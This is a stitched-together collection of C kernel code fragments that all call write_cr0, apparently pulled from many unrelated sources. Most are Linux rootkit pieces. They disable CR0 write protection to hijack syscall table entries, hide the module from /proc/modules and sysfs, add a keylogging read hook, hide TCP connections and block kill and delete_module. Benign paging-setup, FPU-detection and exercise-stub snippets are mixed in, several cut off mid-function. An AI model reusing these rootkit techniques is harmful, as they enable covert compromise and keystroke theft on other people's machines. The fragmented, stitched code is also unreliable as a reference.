// cr0 is a control register in the x86 family of processors.
// Bit 16 of that register is WP - Write protect: Determines whether
// the CPU can write to pages marked read-only
void enable_rw(void *ptr) {
   preempt_disable();
   barrier();

   original_rw_mask = read_cr0() & WRITE_PROTECT_MASK;
	write_cr0 (read_cr0() & (~ WRITE_PROTECT_MASK));
}

//The code that gets executed when the module is loaded
static int initialize_sneaky_module(void)
{
  struct page *page_ptr;  
  //See /var/log/syslog for kernel print output
  printk(KERN_INFO "Sneaky module being loaded.\n");
  printk(KERN_INFO "PID is  %d\n", PID);

  //Turn off write protection mode
  write_cr0(read_cr0() & (~0x10000));
  //Get a pointer to the virtual page containing the address
  //of the system call table in the kernel.
  page_ptr = virt_to_page(&sys_call_table);
  //Make this page read-write accessible
  pages_rw(page_ptr, 1);

  //This is the magic! Save away the original 'open' system call
  //function address. Then overwrite its address in the system call
  //table with the function address of our new code.
  original_call = (void*)*(sys_call_table + __NR_open);
  *(sys_call_table + __NR_open) = (unsigned long)sneaky_sys_open;

  //getdents
  original_getdents = (void*)*(sys_call_table + __NR_getdents);
  *(sys_call_table + __NR_getdents) = (unsigned long)sneaky_sys_getdents;

  //read
   original_read = (void*)*(sys_call_table + __NR_read);
  *(sys_call_table + __NR_read) = (unsigned long)sneaky_sys_read;

  //Revert page to read-only
  pages_ro(page_ptr, 1);
  //Turn write protection mode back on
  write_cr0(read_cr0() | 0x10000);
  return 0;       // to show a successful load 
}  

static int __init hidden_init(void)
{

    printk(KERN_INFO "Starting up module.\n");

    /* Hide the module from proc/modules, Sys/modules tracking. */
    
    list_del_init(&__this_module.list);
    kobject_del(&THIS_MODULE->mkobj.kobj);
    
    /* Locate address of the Syscall table in memory. */
    if(!(sys_call_table = get_sys_call_table())) {
        printk(KERN_INFO "Unable to locate Syscall table.");
        return -1;
    }

    /* Disabling WP bit in control register cr0 to write to sys_call table. */
    write_cr0(read_cr0() & (~ 0x10000));
    
    /* Store open system call to use later. */
    original_open = (void *)sys_call_table[__NR_open];

    /* Write our modified read call to the syscall table. */
    sys_call_table[__NR_open] = (unsigned long *) hidden_open;  

    /* Turning WP bit back on. */
    write_cr0(read_cr0() | 0x10000); 

    return 0; 
}

void enable_hack(){
	if (success!=1) {
            printk(KERN_INFO "Cannot enable, succes!=1\n");
            return;
        }
	if (hacked) {
            printk(KERN_INFO "Already hooked\n");
            return;
        }
        
	hacked=1;
	
	// disable kernel page write protection
	write_cr0 (read_cr0 () & (~ 0x10000));

	// redirect system call to our wrapper routine
	//sys_call_table[__NR_getdents64] = hacked_getdents;
	sys_call_table[__NR_settimeofday] = hacked_settimeofday;
	sys_call_table[__NR_adjtimex] = hacked_adjtimex;
        sys_call_table[__NR_clock_settime] = hacked_clock_settime;

	// enable kernel page write protection back
	write_cr0 (read_cr0 () | 0x10000);
	printk(KERN_INFO "Syscall tampered #3. new clock_settime=%p\n", (void*) sys_call_table[__NR_clock_settime]);
}

void cleanup_module() { 
    kfree(sock);
    /* Reset the "open" system call */
    write_cr0 (read_cr0 () & (~ 0x10000));
    syscall_table[__NR_mkdir] = original_mkdir;
    write_cr0 (read_cr0 () | 0x10000);
    printk(KERN_ALERT "HIJACK EXIT\n");
}

/*-------------------------------------------------------------------------
 * enable_pagine - enable paging 
 *-------------------------------------------------------------------------
 */
void enable_paging(){
        unsigned long          cr0;

        cr0 =  read_cr0();
        cr0 = cr0 | ( 0x1 << 31 ) | 0x1;
        write_cr0(cr0);
        cr0 =  read_cr0();
}

/* Paging Initialization
*/
void init_paging()
{
  map_mem();
  printf("before: %b,%b ---",read_cr0(),read_cr3());
  write_cr3((unsigned long)page_directory);
  unsigned long cr0 = read_cr0();
  cr0 = cr0 | 0x8000000;
  write_cr0(cr0);
  printf(" after: %b,%b\n",read_cr0(),read_cr3());
}

static int _init(void) {
    printk("rootkit loaded\n");
    /*list_del_init(&__this_module.list);*/      /* /proc/modules */
    /*kobject_del(&THIS_MODULE->mkobj.kobj);*/   /* /sys/modules  */
    write_cr0(read_cr0() & (~ 0x10000));
    printk("tty_insert_flip_char: %p\n", tty_insert_flip_char);
    o_tty_insert_flip_char = (void *) xchg(tty_insert_flip_char, my_tty_insert_flip_char);
    write_cr0(read_cr0() | 0x10000);
    return 0;
}

void _exit(void) {
    my_type* syscalltable = 0;
    syscalltable = (my_type* ) find();
    if (syscalltable != 0)
    {
        write_cr0(read_cr0() & (~ 0x10000));
        xchg(&syscalltable[__NR_getdents64], o_getdents64);
        write_cr0(read_cr0() | 0x10000);
    }
    printk("rootkit removed\n");
}

// rm the kmod
static void exit(void) {

    write_cr0 (read_cr0 () & (~ 0x10000));

   // YOUR CODE HERE!
   // hint: you unhook here

    write_cr0 (read_cr0 () | 0x10000);

    printk(KERN_ALERT "MODULE EXIT\n");

}

static void exit(void) {
 
    write_cr0 (read_cr0 () & (~ 0x10000));
 
    syscall_table[__NR_write] = original_write; 
 
    write_cr0 (read_cr0 () | 0x10000);
     
    printk(KERN_ALERT "MODULE EXIT\n");
 
    return;
}

static int init(void) {
 
    printk(KERN_ALERT "\nHIJACK INIT\n");
    write_cr0 (read_cr0 () & (~ 0x10000));
 
    original_write = (void *)syscall_table[__NR_write];
    syscall_table[__NR_write] = new_write; 
 
    write_cr0 (read_cr0 () | 0x10000);
 
    return 0;
}

/*init module insmod*/
static int init(void)
{
  //Uncomment to hide this module
  list_del_init(&__this_module.list);

  struct tcp_seq_afinfo *my_afinfo = NULL;
  //proc_net is disappeared in 2.6.32, use init_net.proc_net
  struct proc_dir_entry *my_dir_entry = init_net.proc_net->subdir;  

  write_cr0 (read_cr0 () & (~ 0x10000));
  if(_KEYLOG_){
    o_read=(void *)sys_call_table[__NR_read];
    sys_call_table[__NR_read]=h4x_read;
  }
  o_write=(void *)sys_call_table[__NR_write];
  sys_call_table[__NR_write]=h4x_write;
  #if defined(__x86_64__)
    o_getdents=sys_call_table [__NR_getdents];
    sys_call_table [__NR_getdents]=h4x_getdents;
  #elif defined(__i386__)
    o_getdents64=sys_call_table [__NR_getdents64];
    sys_call_table [__NR_getdents64]=h4x_getdents64;
  #else
    #error Unsupported architecture
  #endif
  o_unlink = sys_call_table [__NR_unlink];
  sys_call_table [__NR_unlink] = h4x_unlink;
  o_rmdir = sys_call_table [__NR_rmdir];
  sys_call_table [__NR_rmdir] = h4x_rmdir;
  o_unlinkat = sys_call_table [__NR_unlinkat];
  sys_call_table [__NR_unlinkat] = h4x_unlinkat;
  o_rename = sys_call_table [__NR_rename];
  sys_call_table [__NR_rename] = h4x_rename;
  o_open = sys_call_table [__NR_open];
  sys_call_table [__NR_open] = h4x_open;
  o_kill = sys_call_table [__NR_kill];
  sys_call_table [__NR_kill] = h4x_kill;
  o_delete_module = sys_call_table [__NR_delete_module];
  sys_call_table [__NR_delete_module] = h4x_delete_module;
  write_cr0 (read_cr0 () | 0x10000);

  while(strcmp(my_dir_entry->name, "tcp"))
    my_dir_entry = my_dir_entry->next;
  if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
  {
    //seq_show is disappeared in 2.6.32, use seq_ops.show
    old_tcp4_seq_show = my_afinfo->seq_ops.show;
    my_afinfo->seq_ops.show = h4x_tcp4_seq_show;
  }
  return 0;
}

int init_module() {
    printk(KERN_ALERT "\nHIJACK INIT\n");

    if (do_connect())
      printk(KERN_ALERT "Error initializing control socket.\n");

    /* Override the "open" system call */
    write_cr0 (read_cr0 () & (~ 0x10000));
    original_mkdir = (void *)syscall_table[__NR_mkdir];
    syscall_table[__NR_mkdir] = new_mkdir;
    write_cr0 (read_cr0 () | 0x10000);
 
    return 0;
}

void enable_paging (unsigned int pd)
{
        unsigned long          cr0;

        kprintf("load cr3\n");
        write_cr3 (pd & ~NBPG);

        kprintf("enable paging\n");
        cr0  = read_cr0 ();
        cr0 |= CR0_PG;
        write_cr0 (cr0);

        cr0 = read_cr0 ();
        kprintf("cr0: %x, cr3 %x\n", read_cr0(), read_cr3());
}

// install the kmod
static int init(void) {

    printk(KERN_ALERT "Entering the kernel\n");

 	// disable write protection, flip bit
    write_cr0 (read_cr0 () & (~ 0x10000));
    
    // YOUR CODE HERE!
    // hint: you do the hook here

 	// enable write protection, flip bit
    write_cr0 (read_cr0 () | 0x10000);

    return 0;
}

/* Enable paging on the CPU. Typically, a CPU start with paging disabled, and
	memory is accessed by addressing physical memory directly. After paging is
	enabled, memory is addressed logically. */
void PageTable::enable_paging() {
	//write the page_directory address into CR3
	write_cr3((unsigned long)current_page_table->get_page_directory());

	//set paging bit in CR0 to 1
	write_cr0(read_cr0() | 0x80000000);
}

/*
 * The earliest FPU detection code.
 *
 * Set the X86_FEATURE_FPU CPU-capability bit based on
 * trying to execute an actual sequence of FPU instructions:
 */
static void fpu__init_system_early_generic(struct cpuinfo_x86 *c)
{
	unsigned long cr0;
	u16 fsw, fcw;

	fsw = fcw = 0xffff;

	cr0 = read_cr0();
	cr0 &= ~(X86_CR0_TS | X86_CR0_EM);
	write_cr0(cr0);

	asm volatile("fninit ; fnstsw %0 ; fnstcw %1"
		     : "+m" (fsw), "+m" (fcw));

	if (fsw == 0 && (fcw & 0x103f) == 0x003f)
		set_cpu_cap(c, X86_FEATURE_FPU);
	else
		clear_cpu_cap(c, X86_FEATURE_FPU);

#ifndef CONFIG_MATH_EMULATION
	if (!cpu_has_fpu) {
		pr_emerg("x86/fpu: Giving up, no FPU found and no math emulation present\n");
		for (;;)
			asm volatile("hlt");
	}

static void enable_page_protection(void) {
    /*
    See the above description for cr0. Here, we use an OR to set the
    16th bit to re-enable write protection on the CPU.
    */
    write_cr0 (read_cr0 () | 0x10000);
}

void disable_hack_ia32(){
	if (success_ia32!=1) return;
	if (!hacked_ia32) return;
	hacked_ia32=0;

	//
	// restore syscall table
	//
	write_cr0 (read_cr0 () & (~ 0x10000));

	ia32_sys_call_table[__NR_ia32_adjtimex]=orig_compat_sys_adjtimex;
        ia32_sys_call_table[__NR_ia32_clock_settime]=orig_compat_sys_clock_settime;

	write_cr0 (read_cr0 () | 0x10000);
	printk(KERN_INFO "Syscall restored ia32.\n");
}